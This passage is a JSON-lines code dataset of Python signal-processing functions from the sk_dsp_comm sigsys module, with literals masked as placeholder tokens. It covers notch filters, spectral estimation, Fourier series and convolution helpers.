{"signature": "def fir_iir_notch(fi,fs,r=<NUM_LIT>):", "body": "w0 = <NUM_LIT:2>*np.pi*fi/float(fs)<EOL>if r >= <NUM_LIT:1>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>elif r == <NUM_LIT:0>:<EOL><INDENT>a = np.array([<NUM_LIT:1.0>])<EOL><DEDENT>else:<EOL><INDENT>a = np.array([<NUM_LIT:1>, -<NUM_LIT:2>*r*np.cos(w0), r**<NUM_LIT:2>])<EOL><DEDENT>b = np.array([<NUM_LIT:1>, -<NUM_LIT:2>*np.cos(w0), <NUM_LIT:1>])<EOL>return b, a<EOL>", "docstring": "Design a second-order FIR or IIR notch filter.\n\nA second-order FIR notch filter is created by placing conjugate\nzeros on the unit circle at angle corresponidng to the notch center\nfrequency. The IIR notch variation places a pair of conjugate poles\nat the same angle, but with radius r < 1 (typically 0.9 to 0.95).\n\nParameters\n----------\nfi : notch frequency is Hz relative to fs\nfs : the sampling frequency in Hz, e.g. 8000\nr : pole radius for IIR version, default = 0.95\n\nReturns\n-------\nb : numerator coefficient ndarray\na : denominator coefficient ndarray \n\nNotes\n-----\nIf the pole radius is 0 then an FIR version is created, that is \nthere are no poles except at z = 0.\n\nExamples\n--------\n>>> import matplotlib.pyplot as plt\n>>> from sk_dsp_comm import sigsys as ss\n\n>>> b_FIR, a_FIR = ss.fir_iir_notch(1000,8000,0)\n>>> ss.zplane(b_FIR, a_FIR)\n>>> plt.show()\n\n>>> b_IIR, a_IIR = ss.fir_iir_notch(1000,8000)\n>>> ss.zplane(b_IIR, a_IIR)", "id": "f14910:m18"}
{"signature": "def simple_SA(x,NS,NFFT,fs,NAVG=<NUM_LIT:1>,window='<STR_LIT>'):", "body": "Nx = len(x)<EOL>K = int(Nx/NS)<EOL>print('<STR_LIT>', K)<EOL>if NAVG > K:<EOL><INDENT>print('<STR_LIT>')<EOL>return <NUM_LIT:0>,<NUM_LIT:0><EOL><DEDENT>if window.lower() == '<STR_LIT>' or window.lower() == '<STR_LIT>':<EOL><INDENT>w = signal.boxcar(NS)<EOL><DEDENT>elif window.lower() == '<STR_LIT>':<EOL><INDENT>w = signal.hanning(NS)<EOL><DEDENT>xsw = np.zeros((K,NS)) + <NUM_LIT>*np.zeros((K,NS))<EOL>for k in range(NAVG):<EOL><INDENT>xsw[k,] = w*x[k*NS:(k+<NUM_LIT:1>)*NS]<EOL><DEDENT>Sx = np.zeros(NFFT)<EOL>for k in range(NAVG):<EOL><INDENT>X = fft.fft(xsw[k,],NFFT)<EOL>Sx += abs(X)**<NUM_LIT:2><EOL><DEDENT>Sx /= float(NAVG)<EOL>Sx /= float(NFFT**<NUM_LIT:2>)<EOL>NFFTby2 = int(NFFT/<NUM_LIT:2>)<EOL>if x.dtype != '<STR_LIT>':<EOL><INDENT>n = np.arange(NFFTby2)<EOL>f = fs*n/float(NFFT)<EOL>Sx = Sx[<NUM_LIT:0>:NFFTby2]<EOL><DEDENT>else:<EOL><INDENT>n = np.arange(NFFTby2)<EOL>f = fs*np.hstack((np.arange(-NFFTby2,<NUM_LIT:0>),np.arange(NFFTby2)))/float(NFFT)<EOL>Sx = np.hstack((Sx[NFFTby2:],Sx[<NUM_LIT:0>:NFFTby2]))<EOL><DEDENT>return f, Sx<EOL>", "docstring": "Spectral estimation using windowing and averaging.\n\nThis function implements averaged periodogram spectral estimation\nestimation similar to the NumPy's psd() function, but more\nspecialized for the the windowing case study of Chapter 16.\n\nParameters\n----------\nx : ndarray containing the input signal\nNS : The subrecord length less zero padding, e.g. NS < NFFT\nNFFT : FFT length, e.g., 1024 = 2**10\nfs : sampling rate in Hz\nNAVG : the number of averages, e.g., 1 for deterministic signals\nwindow : hardcoded window 'boxcar' (default) or 'hanning'\n\nReturns\n-------\nf : ndarray frequency axis in Hz on [0, fs/2]\nSx : ndarray the power spectrum estimate\n\nNotes\n-----\nThe function also prints the maximum number of averages K possible\nfor the input data record.\n\nExamples\n--------\n>>> import matplotlib.pyplot as plt\n>>> import numpy as np\n>>> from sk_dsp_comm import sigsys as ss\n>>> n = np.arange(0,2048)\n>>> x = np.cos(2*np.pi*1000/10000*n) + 0.01*np.cos(2*np.pi*3000/10000*n)\n>>> f, Sx = ss.simple_SA(x,128,512,10000)\n>>> plt.plot(f, 10*np.log10(Sx))\n>>> plt.ylim([-80, 0])\n>>> plt.xlabel(\"Frequency (Hz)\")\n>>> plt.ylabel(\"Power Spectral Density (dB)\")\n>>> plt.show()\n\nWith a hanning window.\n\n>>> f, Sx = ss.simple_SA(x,256,1024,10000,window='hanning')\n>>> plt.plot(f, 10*np.log10(Sx))\n>>> plt.xlabel(\"Frequency (Hz)\")\n>>> plt.ylabel(\"Power Spectral Density (dB)\")\n>>> plt.ylim([-80, 0])", "id": "f14910:m19"}
{"signature": "def line_spectra(fk,Xk,mode,sides=<NUM_LIT:2>,linetype='<STR_LIT:b>',lwidth=<NUM_LIT:2>,floor_dB=-<NUM_LIT:100>,fsize=(<NUM_LIT:6>,<NUM_LIT:4>)):", "body": "plt.figure(figsize=fsize)<EOL>idx = np.nonzero(Xk)[<NUM_LIT:0>]<EOL>Xk = Xk[idx]<EOL>fk = fk[idx]<EOL>if mode == '<STR_LIT>':<EOL><INDENT>for k in range(len(fk)):<EOL><INDENT>if fk[k] == <NUM_LIT:0> and sides == <NUM_LIT:2>:<EOL><INDENT>plt.plot([fk[k], fk[k]],[<NUM_LIT:0>, np.abs(Xk[k])],linetype, linewidth=lwidth)<EOL><DEDENT>elif fk[k] == <NUM_LIT:0> and sides == <NUM_LIT:1>:<EOL><INDENT>plt.plot([fk[k], fk[k]],[<NUM_LIT:0>, np.abs(Xk[k])],linetype, linewidth=<NUM_LIT:2>*lwidth)            <EOL><DEDENT>elif fk[k] > <NUM_LIT:0> and sides == <NUM_LIT:2>:<EOL><INDENT>plt.plot([fk[k], fk[k]],[<NUM_LIT:0>, np.abs(Xk[k])],linetype, linewidth=lwidth)<EOL>plt.plot([-fk[k], -fk[k]],[<NUM_LIT:0>, np.abs(Xk[k])],linetype, linewidth=lwidth)<EOL><DEDENT>elif fk[k] > <NUM_LIT:0> and sides == <NUM_LIT:1>:<EOL><INDENT>plt.plot([fk[k], fk[k]],[<NUM_LIT:0>, <NUM_LIT>*np.abs(Xk[k])],linetype, linewidth=lwidth)<EOL><DEDENT>else:<EOL><INDENT>print('<STR_LIT>')<EOL><DEDENT><DEDENT>plt.grid()<EOL>if sides == <NUM_LIT:2>:<EOL><INDENT>plt.axis([-<NUM_LIT>*max(fk), <NUM_LIT>*max(fk), <NUM_LIT:0>, <NUM_LIT>*max(abs(Xk))])        <EOL><DEDENT>elif sides == <NUM_LIT:1>:<EOL><INDENT>plt.axis([<NUM_LIT:0>, <NUM_LIT>*max(fk), <NUM_LIT:0>, <NUM_LIT>*<NUM_LIT:2>*max(abs(Xk))])<EOL><DEDENT>else:<EOL><INDENT>print('<STR_LIT>')<EOL><DEDENT>plt.ylabel('<STR_LIT>')<EOL>plt.xlabel('<STR_LIT>')<EOL><DEDENT>elif mode == '<STR_LIT>':<EOL><INDENT>Xk_dB = <NUM_LIT:20>*np.log10(np.abs(Xk))<EOL>for k in range(len(fk)):<EOL><INDENT>if fk[k] == <NUM_LIT:0> and sides == <NUM_LIT:2>:<EOL><INDENT>plt.plot([fk[k], fk[k]],[floor_dB, Xk_dB[k]],linetype, linewidth=lwidth)<EOL><DEDENT>elif fk[k] == <NUM_LIT:0> and sides == <NUM_LIT:1>:<EOL><INDENT>plt.plot([fk[k], fk[k]],[floor_dB, Xk_dB[k]],linetype, linewidth=<NUM_LIT:2>*lwidth)            <EOL><DEDENT>elif fk[k] > <NUM_LIT:0> and sides == <NUM_LIT:2>:<EOL><INDENT>plt.plot([fk[k], fk[k]],[floor_dB, Xk_dB[k]],linetype, linewidth=lwidth)<EOL>plt.plot([-fk[k], -fk[k]],[floor_dB, Xk_dB[k]],linetype, linewidth=lwidth)<EOL><DEDENT>elif fk[k] > <NUM_LIT:0> and sides == <NUM_LIT:1>:<EOL><INDENT>plt.plot([fk[k], fk[k]],[floor_dB, Xk_dB[k]+<NUM_LIT>],linetype, linewidth=lwidth)<EOL><DEDENT>else:<EOL><INDENT>print('<STR_LIT>')<EOL><DEDENT><DEDENT>plt.grid()<EOL>max_dB = np.ceil(max(Xk_dB/<NUM_LIT>))*<NUM_LIT:10><EOL>min_dB = max(floor_dB,np.floor(min(Xk_dB/<NUM_LIT>))*<NUM_LIT:10>)<EOL>if sides == <NUM_LIT:2>:<EOL><INDENT>plt.axis([-<NUM_LIT>*max(fk), <NUM_LIT>*max(fk), min_dB, max_dB])        <EOL><DEDENT>elif sides == <NUM_LIT:1>:<EOL><INDENT>plt.axis([<NUM_LIT:0>, <NUM_LIT>*max(fk), min_dB, max_dB])<EOL><DEDENT>else:<EOL><INDENT>print('<STR_LIT>')<EOL><DEDENT>plt.ylabel('<STR_LIT>')<EOL>plt.xlabel('<STR_LIT>')<EOL><DEDENT>elif mode == '<STR_LIT>':<EOL><INDENT>Xk_dB = <NUM_LIT:20>*np.log10(np.abs(Xk)/max(np.abs(Xk)))<EOL>for k in range(len(fk)):<EOL><INDENT>if fk[k] == <NUM_LIT:0> and sides == <NUM_LIT:2>:<EOL><INDENT>plt.plot([fk[k], fk[k]],[floor_dB, Xk_dB[k]],linetype, linewidth=lwidth)<EOL><DEDENT>elif fk[k] == <NUM_LIT:0> and sides == <NUM_LIT:1>:<EOL><INDENT>plt.plot([fk[k], fk[k]],[floor_dB, Xk_dB[k]],linetype, linewidth=<NUM_LIT:2>*lwidth)            <EOL><DEDENT>elif fk[k] > <NUM_LIT:0> and sides == <NUM_LIT:2>:<EOL><INDENT>plt.plot([fk[k], fk[k]],[floor_dB, Xk_dB[k]],linetype, linewidth=lwidth)<EOL>plt.plot([-fk[k], -fk[k]],[floor_dB, Xk_dB[k]],linetype, linewidth=lwidth)<EOL><DEDENT>elif fk[k] > <NUM_LIT:0> and sides == <NUM_LIT:1>:<EOL><INDENT>plt.plot([fk[k], fk[k]],[floor_dB, Xk_dB[k]+<NUM_LIT>],linetype, linewidth=lwidth)<EOL><DEDENT>else:<EOL><INDENT>print('<STR_LIT>')<EOL><DEDENT><DEDENT>plt.grid()<EOL>max_dB = np.ceil(max(Xk_dB/<NUM_LIT>))*<NUM_LIT:10><EOL>min_dB = max(floor_dB,np.floor(min(Xk_dB/<NUM_LIT>))*<NUM_LIT:10>)<EOL>if sides == <NUM_LIT:2>:<EOL><INDENT>plt.axis([-<NUM_LIT>*max(fk), <NUM_LIT>*max(fk), min_dB, max_dB])        <EOL><DEDENT>elif sides == <NUM_LIT:1>:<EOL><INDENT>plt.axis([<NUM_LIT:0>, <NUM_LIT>*max(fk), min_dB, max_dB])<EOL><DEDENT>else:<EOL><INDENT>print('<STR_LIT>')<EOL><DEDENT>plt.ylabel('<STR_LIT>')<EOL>plt.xlabel('<STR_LIT>')    <EOL><DEDENT>elif mode == '<STR_LIT>':<EOL><INDENT>for k in range(len(fk)):<EOL><INDENT>if fk[k] == <NUM_LIT:0> and sides == <NUM_LIT:2>:<EOL><INDENT>plt.plot([fk[k], fk[k]],[<NUM_LIT:0>, np.angle(Xk[k])],linetype, linewidth=lwidth)<EOL><DEDENT>elif fk[k] == <NUM_LIT:0> and sides == <NUM_LIT:1>:<EOL><INDENT>plt.plot([fk[k], fk[k]],[<NUM_LIT:0>, np.angle(Xk[k])],linetype, linewidth=<NUM_LIT:2>*lwidth)<EOL><DEDENT>elif fk[k] > <NUM_LIT:0> and sides == <NUM_LIT:2>:<EOL><INDENT>plt.plot([fk[k], fk[k]],[<NUM_LIT:0>, np.angle(Xk[k])],linetype, linewidth=lwidth)<EOL>plt.plot([-fk[k], -fk[k]],[<NUM_LIT:0>, -np.angle(Xk[k])],linetype, linewidth=lwidth)<EOL><DEDENT>elif fk[k] > <NUM_LIT:0> and sides == <NUM_LIT:1>:<EOL><INDENT>plt.plot([fk[k], fk[k]],[<NUM_LIT:0>, np.angle(Xk[k])],linetype, linewidth=lwidth)<EOL><DEDENT>else:<EOL><INDENT>print('<STR_LIT>')<EOL><DEDENT><DEDENT>plt.grid()<EOL>if sides == <NUM_LIT:2>:<EOL><INDENT>plt.plot([-<NUM_LIT>*max(fk), <NUM_LIT>*max(fk)], [<NUM_LIT:0>, <NUM_LIT:0>],'<STR_LIT:k>')<EOL>plt.axis([-<NUM_LIT>*max(fk), <NUM_LIT>*max(fk), -<NUM_LIT>*max(np.abs(np.angle(Xk))), <NUM_LIT>*max(np.abs(np.angle(Xk)))])<EOL><DEDENT>elif sides == <NUM_LIT:1>:<EOL><INDENT>plt.plot([<NUM_LIT:0>, <NUM_LIT>*max(fk)], [<NUM_LIT:0>, <NUM_LIT:0>],'<STR_LIT:k>')<EOL>plt.axis([<NUM_LIT:0>, <NUM_LIT>*max(fk), -<NUM_LIT>*max(np.abs(np.angle(Xk))), <NUM_LIT>*max(np.abs(np.angle(Xk)))])<EOL><DEDENT>else:<EOL><INDENT>print('<STR_LIT>')<EOL><DEDENT>plt.ylabel('<STR_LIT>')<EOL>plt.xlabel('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>print('<STR_LIT>')<EOL><DEDENT>", "docstring": "Plot the Fouier series line spectral given the coefficients.\n\nThis function plots two-sided and one-sided line spectra of a periodic\nsignal given the complex exponential Fourier series coefficients and\nthe corresponding harmonic frequencies.\n\nParameters\n----------\nfk : vector of real sinusoid frequencies\nXk : magnitude and phase at each positive frequency in fk\nmode : 'mag' => magnitude plot, 'magdB' => magnitude in dB plot,\nmode cont : 'magdBn' => magnitude in dB normalized, 'phase' => a phase plot in radians \nsides : 2; 2-sided or 1-sided\nlinetype : line type per Matplotlib definitions, e.g., 'b';\nlwidth : 2; linewidth in points\nfsize : optional figure size in inches, default = (6,4) inches \n\nReturns\n-------\nNothing : A plot window opens containing the line spectrum plot\n\nNotes\n-----\nSince real signals are assumed the frequencies of fk are 0 and/or positive\nnumbers. The supplied Fourier coefficients correspond.\n\nExamples\n--------\n>>> import matplotlib.pyplot as plt\n>>> import numpy as np\n>>> from sk_dsp_comm.sigsys import line_spectra\n>>> n = np.arange(0,25)\n>>> # a pulse train with 10 Hz fundamental and 20% duty cycle\n>>> fk = n*10\n>>> Xk = np.sinc(n*10*.02)*np.exp(-1j*2*np.pi*n*10*.01) # 1j = sqrt(-1)\n\n>>> line_spectra(fk,Xk,'mag')\n>>> plt.show()\n\n>>> line_spectra(fk,Xk,'phase')", "id": "f14910:m20"}
{"signature": "def fs_coeff(xp,N,f0,one_side=True):", "body": "Nint = len(xp)<EOL>if Nint < <NUM_LIT:2>*N+<NUM_LIT:1>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>Xp = fft.fft(xp,Nint)/float(Nint)<EOL>if one_side:<EOL><INDENT>Xk = Xp[<NUM_LIT:0>:N+<NUM_LIT:1>]<EOL>fk = f0*np.arange(<NUM_LIT:0>,N+<NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>Xk = np.hstack((Xp[-N:],Xp[<NUM_LIT:0>:N+<NUM_LIT:1>]))<EOL>fk = f0*np.arange(-N,N+<NUM_LIT:1>)        <EOL><DEDENT>return Xk, fk<EOL>", "docstring": "Numerically approximate the Fourier series coefficients given periodic x(t).\n\nThe input is assummed to represent one period of the waveform\nx(t) that has been uniformly sampled. The number of samples supplied\nto represent one period of the waveform sets the sampling rate.\n\nParameters\n----------\nxp : ndarray of one period of the waveform x(t)\nN : maximum Fourier series coefficient, [0,...,N]\nf0 : fundamental frequency used to form fk.\n\nReturns\n-------\nXk : ndarray of the coefficients over indices [0,1,...,N]\nfk : ndarray of the harmonic frequencies [0, f0,2f0,...,Nf0]\n\nNotes\n-----\nlen(xp) >= 2*N+1 as len(xp) is the fft length.\n\nExamples\n--------\n>>> import matplotlib.pyplot as plt\n>>> from numpy import arange\n>>> import sk_dsp_comm.sigsys as ss\n>>> t = arange(0,1,1/1024.)\n>>> # a 20% duty cycle pulse starting at t = 0\n>>> x_rect = ss.rect(t-.1,0.2)\n>>> Xk, fk = ss.fs_coeff(x_rect,25,10)\n>>> # plot the spectral lines\n>>> ss.line_spectra(fk,Xk,'mag')\n>>> plt.show()", "id": "f14910:m21"}
{"signature": "def fs_approx(Xk,fk,t):", "body": "x_approx = np.zeros(len(t))<EOL>for k,Xkk in enumerate(Xk):<EOL><INDENT>if fk[k] == <NUM_LIT:0>:<EOL><INDENT>x_approx += Xkk.real*np.ones(len(t))<EOL><DEDENT>else:<EOL><INDENT>x_approx += <NUM_LIT:2>*np.abs(Xkk)*np.cos(<NUM_LIT:2>*np.pi*fk[k]*t+np.angle(Xkk))<EOL><DEDENT><DEDENT>return x_approx<EOL>", "docstring": "Synthesize periodic signal x(t) using Fourier series coefficients at harmonic frequencies\n\nAssume the signal is real so coefficients Xk are supplied for nonnegative\nindicies. The negative index coefficients are assumed to be complex\nconjugates.\n\nParameters\n----------\nXk : ndarray of complex Fourier series coefficients\nfk : ndarray of harmonic frequencies in Hz\nt : ndarray time axis corresponding to output signal array x_approx\n\nReturns\n-------\nx_approx : ndarray of periodic waveform approximation over time span t\n\nExamples\n--------\n>>> t = arange(0,2,.002)\n>>> # a 20% duty cycle pulse train\n>>> n = arange(0,20,1) # 0 to 19th harmonic\n>>> fk = 1*n % period = 1s\n>>> t, x_approx = fs_approx(Xk,fk,t)\n>>> plot(t,x_approx)", "id": "f14910:m22"}
{"signature": "def ft_approx(x,t,Nfft):", "body": "fs = <NUM_LIT:1>/(t[<NUM_LIT:1>] - t[<NUM_LIT:0>])<EOL>t0 = (t[-<NUM_LIT:1>]+t[<NUM_LIT:0>])/<NUM_LIT:2> <EOL>N0 = len(t)/<NUM_LIT:2> <EOL>f = np.arange(-<NUM_LIT:1.>/<NUM_LIT:2>,<NUM_LIT:1.>/<NUM_LIT:2>,<NUM_LIT:1.>/Nfft)<EOL>w, X = signal.freqz(x,<NUM_LIT:1>,<NUM_LIT:2>*np.pi*f)<EOL>X /= fs <EOL>X *= np.exp(-<NUM_LIT>*<NUM_LIT:2>*np.pi*f*fs*t0)<EOL>X *= np.exp(<NUM_LIT>*<NUM_LIT:2>*np.pi*f*N0)<EOL>F = f*fs<EOL>return F, X<EOL>", "docstring": "Approximate the Fourier transform of a finite duration signal using scipy.signal.freqz()\n\nParameters\n----------\nx : input signal array\nt : time array used to create x(t)\nNfft : the number of frdquency domain points used to \n       approximate X(f) on the interval [fs/2,fs/2], where\n       fs = 1/Dt. Dt being the time spacing in array t\n\nReturns\n-------\nf : frequency axis array in Hz\nX : the Fourier transform approximation (complex)\n\nNotes\n-----\nThe output time axis starts at the sum of the starting values in x1 and x2 \nand ends at the sum of the two ending values in x1 and x2. The default \nextents of ('f','f') are used for signals that are active (have support) \non or within n1 and n2 respectively. A right-sided signal such as \n:math:`a^n*u[n]` is semi-infinite, so it has extent 'r' and the\nconvolution output will be truncated to display only the valid results.\n\nExamples\n--------\n>>> import matplotlib.pyplot as plt\n>>> import numpy as np\n>>> import sk_dsp_comm.sigsys as ss\n>>> fs = 100 # sampling rate in Hz\n>>> tau = 1\n>>> t = np.arange(-5,5,1/fs)\n>>> x0 = ss.rect(t-.5,tau)\n>>> plt.figure(figsize=(6,5))\n>>> plt.plot(t,x0)\n>>> plt.grid()\n>>> plt.ylim([-0.1,1.1])\n>>> plt.xlim([-2,2])\n>>> plt.title(r'Exact Waveform')\n>>> plt.xlabel(r'Time (s)')\n>>> plt.ylabel(r'$x_0(t)$')\n>>> plt.show()\n\n>>> # FT Exact Plot\n>>> import matplotlib.pyplot as plt\n>>> import numpy as np\n>>> import sk_dsp_comm.sigsys as ss\n>>> fs = 100 # sampling rate in Hz\n>>> tau = 1\n>>> t = np.arange(-5,5,1/fs)\n>>> x0 = ss.rect(t-.5,tau)\n>>> fe = np.arange(-10,10,.01)\n>>> X0e = tau*np.sinc(fe*tau)\n>>> plt.plot(fe,abs(X0e))\n>>> #plot(f,angle(X0))\n>>> plt.grid()\n>>> plt.xlim([-10,10])\n>>> plt.title(r'Exact (Theory) Spectrum Magnitude')\n>>> plt.xlabel(r'Frequency (Hz)')\n>>> plt.ylabel(r'$|X_0e(f)|$')\n>>> plt.show()\n\n>>> # FT Approximation Plot\n>>> import matplotlib.pyplot as plt\n>>> import numpy as np\n>>> import sk_dsp_comm.sigsys as ss\n>>> fs = 100 # sampling rate in Hz\n>>> tau = 1\n>>> t = np.arange(-5,5,1/fs)\n>>> x0 = ss.rect(t-.5,tau)\n>>> f,X0 = ss.ft_approx(x0,t,4096)\n>>> plt.plot(f,abs(X0))\n>>> #plt.plot(f,angle(X0))\n>>> plt.grid()\n>>> plt.xlim([-10,10])\n>>> plt.title(r'Approximation Spectrum Magnitude')\n>>> plt.xlabel(r'Frequency (Hz)')\n>>> plt.ylabel(r'$|X_0(f)|$');\n>>> plt.tight_layout()\n>>> plt.show()", "id": "f14910:m23"}
{"signature": "def conv_sum(x1,nx1,x2,nx2,extent=('<STR_LIT:f>','<STR_LIT:f>')):", "body": "nnx1 = np.arange(<NUM_LIT:0>,len(nx1))<EOL>nnx2 = np.arange(<NUM_LIT:0>,len(nx2))<EOL>n1 = nnx1[<NUM_LIT:0>]<EOL>n2 = nnx1[-<NUM_LIT:1>]<EOL>n3 = nnx2[<NUM_LIT:0>]<EOL>n4 = nnx2[-<NUM_LIT:1>]<EOL>if extent[<NUM_LIT:0>] == '<STR_LIT:f>' and extent[<NUM_LIT:1>] == '<STR_LIT:f>':<EOL><INDENT>nny = np.arange(n1+n3,n2+<NUM_LIT:1>+n4+<NUM_LIT:1>-<NUM_LIT:1>)<EOL>ny = np.arange(<NUM_LIT:0>,len(x1)+len(x2)-<NUM_LIT:1>) + nx1[<NUM_LIT:0>]+nx2[<NUM_LIT:0>]<EOL><DEDENT>elif extent[<NUM_LIT:0>] == '<STR_LIT:f>' and extent[<NUM_LIT:1>] == '<STR_LIT:r>':<EOL><INDENT>nny = np.arange(n1+n3,n1+<NUM_LIT:1>+n4+<NUM_LIT:1>-<NUM_LIT:1>)<EOL>ny = nny + nx1[<NUM_LIT:0>]+nx2[<NUM_LIT:0>]<EOL><DEDENT>elif extent[<NUM_LIT:0>] == '<STR_LIT:r>' and extent[<NUM_LIT:1>] == '<STR_LIT:f>':<EOL><INDENT>nny = np.arange(n1+n3,n2+<NUM_LIT:1>+n3+<NUM_LIT:1>-<NUM_LIT:1>)<EOL>ny = nny + nx1[<NUM_LIT:0>]+nx2[<NUM_LIT:0>]<EOL><DEDENT>elif extent[<NUM_LIT:0>] == '<STR_LIT:f>' and extent[<NUM_LIT:1>] == '<STR_LIT:l>':<EOL><INDENT>nny = np.arange(n2+n3,n2+<NUM_LIT:1>+n4+<NUM_LIT:1>-<NUM_LIT:1>)<EOL>ny = nny + nx1[-<NUM_LIT:1>]+nx2[<NUM_LIT:0>]<EOL><DEDENT>elif extent[<NUM_LIT:0>] == '<STR_LIT:l>' and extent[<NUM_LIT:1>] == '<STR_LIT:f>':<EOL><INDENT>nny = np.arange(n1+n4,n2+<NUM_LIT:1>+n4+<NUM_LIT:1>-<NUM_LIT:1>)<EOL>ny = nny + nx1[<NUM_LIT:0>]+nx2[-<NUM_LIT:1>]<EOL><DEDENT>elif extent[<NUM_LIT:0>] == '<STR_LIT:r>' and extent[<NUM_LIT:1>] == '<STR_LIT:r>':<EOL><INDENT>nny = np.arange(n1+n3,min(n1+<NUM_LIT:1>+n4+<NUM_LIT:1>,n2+<NUM_LIT:1>+n3+<NUM_LIT:1>)-<NUM_LIT:1>)<EOL>ny = nny + nx1[<NUM_LIT:0>]+nx2[<NUM_LIT:0>]<EOL><DEDENT>elif extent[<NUM_LIT:0>] == '<STR_LIT:l>' and extent[<NUM_LIT:1>] == '<STR_LIT:l>':<EOL><INDENT>nny = np.arange(max(n1+n4,n2+n3),n2+<NUM_LIT:1>+n4+<NUM_LIT:1>-<NUM_LIT:1>)<EOL>ny = nny + max(nx1[<NUM_LIT:0>]+nx2[-<NUM_LIT:1>],nx1[-<NUM_LIT:1>]+nx2[<NUM_LIT:0>])<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>y = signal.convolve(x1, x2)<EOL>print('<STR_LIT>' % (ny[<NUM_LIT:0>],ny[-<NUM_LIT:1>]))<EOL>return y[nny], ny<EOL>", "docstring": "Discrete convolution of x1 and x2 with proper tracking of the output time axis.\n\nConvolve two discrete-time signals using the SciPy function :func:`scipy.signal.convolution`.\nThe time (sequence axis) are managed from input to output. y[n] = x1[n]*x2[n].\n\nParameters\n----------\nx1 : ndarray of signal x1 corresponding to nx1\nnx1 : ndarray time axis for x1\nx2  : ndarray of signal x2 corresponding to nx2\nnx2 : ndarray time axis for x2\nextent : ('e1','e2') where 'e1', 'e2' may be 'f' finite, 'r' right-sided, or 'l' left-sided\n\nReturns\n-------\ny : ndarray of output values y\nny : ndarray of the corresponding sequence index n\n\nNotes\n-----\nThe output time axis starts at the sum of the starting values in x1 and x2 \nand ends at the sum of the two ending values in x1 and x2. The default \nextents of ('f','f') are used for signals that are active (have support) \non or within n1 and n2 respectively. A right-sided signal such as \na^n*u[n] is semi-infinite, so it has extent 'r' and the\nconvolution output will be truncated to display only the valid results.\n\nExamples\n--------\n>>> import matplotlib.pyplot as plt\n>>> import numpy as np\n>>> import sk_dsp_comm.sigsys as ss\n>>> nx = np.arange(-5,10)\n>>> x = ss.drect(nx,4)\n>>> y,ny = ss.conv_sum(x,nx,x,nx)\n>>> plt.stem(ny,y)\n>>> plt.show()\n\nConsider a pulse convolved with an exponential. ('r' type extent)\n\n>>> h = 0.5**nx*ss.dstep(nx)\n>>> y,ny = ss.conv_sum(x,nx,h,nx,('f','r')) # note extents set\n>>> plt.stem(ny,y) # expect a pulse charge and discharge sequence", "id": "f14910:m24"}
{"signature": "def conv_integral(x1,tx1,x2,tx2,extent=('<STR_LIT:f>','<STR_LIT:f>')):", "body": "dt = tx1[<NUM_LIT:1>] - tx1[<NUM_LIT:0>]<EOL>nx1 = np.arange(<NUM_LIT:0>,len(tx1))<EOL>nx2 = np.arange(<NUM_LIT:0>,len(tx2))<EOL>n1 = nx1[<NUM_LIT:0>]<EOL>n2 = nx1[-<NUM_LIT:1>]<EOL>n3 = nx2[<NUM_LIT:0>]<EOL>n4 = nx2[-<NUM_LIT:1>]<EOL>if extent[<NUM_LIT:0>] == '<STR_LIT:f>' and extent[<NUM_LIT:1>] == '<STR_LIT:f>':<EOL><INDENT>ny = np.arange(n1+n3,n2+<NUM_LIT:1>+n4+<NUM_LIT:1>-<NUM_LIT:1>)<EOL>ty = np.arange(<NUM_LIT:0>,len(x1)+len(x2)-<NUM_LIT:1>)*dt + tx1[<NUM_LIT:0>]+tx2[<NUM_LIT:0>]<EOL><DEDENT>elif extent[<NUM_LIT:0>] == '<STR_LIT:f>' and extent[<NUM_LIT:1>] == '<STR_LIT:r>':<EOL><INDENT>ny = np.arange(n1+n3,n1+<NUM_LIT:1>+n4+<NUM_LIT:1>-<NUM_LIT:1>)<EOL>ty = ny*dt + tx1[<NUM_LIT:0>]+tx2[<NUM_LIT:0>]<EOL><DEDENT>elif extent[<NUM_LIT:0>] == '<STR_LIT:r>' and extent[<NUM_LIT:1>] == '<STR_LIT:f>':<EOL><INDENT>ny = np.arange(n1+n3,n2+<NUM_LIT:1>+n3+<NUM_LIT:1>-<NUM_LIT:1>)<EOL>ty = ny*dt + tx1[<NUM_LIT:0>]+tx2[<NUM_LIT:0>]<EOL><DEDENT>elif extent[<NUM_LIT:0>] == '<STR_LIT:f>' and extent[<NUM_LIT:1>] == '<STR_LIT:l>':<EOL><INDENT>ny = np.arange(n2+n3,n2+<NUM_LIT:1>+n4+<NUM_LIT:1>-<NUM_LIT:1>)<EOL>ty = ny*dt + tx1[-<NUM_LIT:1>]+tx2[<NUM_LIT:0>]<EOL><DEDENT>elif extent[<NUM_LIT:0>] == '<STR_LIT:l>' and extent[<NUM_LIT:1>] == '<STR_LIT:f>':<EOL><INDENT>ny = np.arange(n1+n4,n2+<NUM_LIT:1>+n4+<NUM_LIT:1>-<NUM_LIT:1>)<EOL>ty = ny*dt + tx1[<NUM_LIT:0>]+tx2[-<NUM_LIT:1>]<EOL><DEDENT>elif extent[<NUM_LIT:0>] == '<STR_LIT:r>' and extent[<NUM_LIT:1>] == '<STR_LIT:r>':<EOL><INDENT>ny = np.arange(n1+n3,min(n1+<NUM_LIT:1>+n4+<NUM_LIT:1>,n2+<NUM_LIT:1>+n3+<NUM_LIT:1>)-<NUM_LIT:1>)<EOL>ty = ny*dt + tx1[<NUM_LIT:0>]+tx2[<NUM_LIT:0>]<EOL><DEDENT>elif extent[<NUM_LIT:0>] == '<STR_LIT:l>' and extent[<NUM_LIT:1>] == '<STR_LIT:l>':<EOL><INDENT>ny = np.arange(max(n1+n4,n2+n3),n2+<NUM_LIT:1>+n4+<NUM_LIT:1>-<NUM_LIT:1>)<EOL>ty = ny*dt + max(tx1[<NUM_LIT:0>]+tx2[-<NUM_LIT:1>],tx1[-<NUM_LIT:1>]+tx2[<NUM_LIT:0>])<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>y = signal.convolve(x1, x2)*dt<EOL>print('<STR_LIT>' % (ty[<NUM_LIT:0>],ty[-<NUM_LIT:1>]))<EOL>return y[ny], ty<EOL>", "docstring": "Continuous-time convolution of x1 and x2 with proper tracking of the output time axis.\n\nAppromimate the convolution integral for the convolution of two continuous-time signals using the SciPy function signal. The time (sequence axis) are managed from input to output. y(t) = x1(t)*x2(t).\n\nParameters\n----------\nx1 : ndarray of signal 